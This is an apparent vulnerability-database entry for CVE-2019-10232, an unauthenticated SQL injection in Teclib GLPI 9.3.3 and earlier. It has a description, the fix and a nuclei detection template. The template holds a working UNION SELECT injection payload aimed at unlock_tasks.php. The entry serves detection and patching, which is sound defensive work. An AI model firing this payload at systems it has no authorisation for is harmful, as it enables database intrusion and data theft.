HexBrain

Browse / CVEs / CVE-2019-10232

CVE-2019-10232· teclib-edition / gestionnaire libre de parc informatique· CWE-89

Teclib GLPI <= 9.3.3 - Unauthenticated SQL Injection

criticalseverity
9.8CVSS score
22.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Teclib GLPI <= 9.3.3 exposes a script (/scripts/unlock_tasks.php) that incorrectly sanitizes user controlled data before using it in SQL queries. Thus, an attacker could abuse the affected feature to alter the semantic original SQL query and retrieve database records.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Upgrade to a patched version of Teclib GLPI (9.3.4 or later) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/glpi/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1 ; GET {{BaseURL}}/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1
Positive when: contains "-MariaDB-" and "Start unlock script"

Run it with nuclei: nuclei -id CVE-2019-10232 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-10232

info:
  name: Teclib GLPI <= 9.3.3 - Unauthenticated SQL Injection
  author: RedTeamBrasil
  severity: critical
  description: Teclib GLPI <= 9.3.3 exposes a script (/scripts/unlock_tasks.php) that incorrectly sanitizes user controlled data before using it in SQL queries. Thus, an attacker could abuse the affected feature to alter the semantic original SQL query and retrieve database records.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of Teclib GLPI (9.3.4 or later) to mitigate this vulnerability.
  reference:
    - https://www.synacktiv.com/ressources/advisories/GLPI_9.3.3_SQL_Injection.pdf
    - https://github.com/glpi-project/glpi/commit/684d4fc423652ec7dde21cac4d41c2df53f56b3c
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10232
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-10232
    cwe-id: CWE-89
    epss-score: 0.22372
    epss-percentile: 0.97711
    cpe: cpe:2.3:a:teclib-edition:gestionnaire_libre_de_parc_informatique:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: teclib-edition
    product: gestionnaire_libre_de_parc_informatique
  tags: cve,cve2019,glpi,sqli,injection,teclib-edition,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/glpi/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1"
      - "{{BaseURL}}/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "-MariaDB-"
          - "Start unlock script"
        condition: and

    extractors:
      - type: regex
        regex:
          - "[0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2}-MariaDB"
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from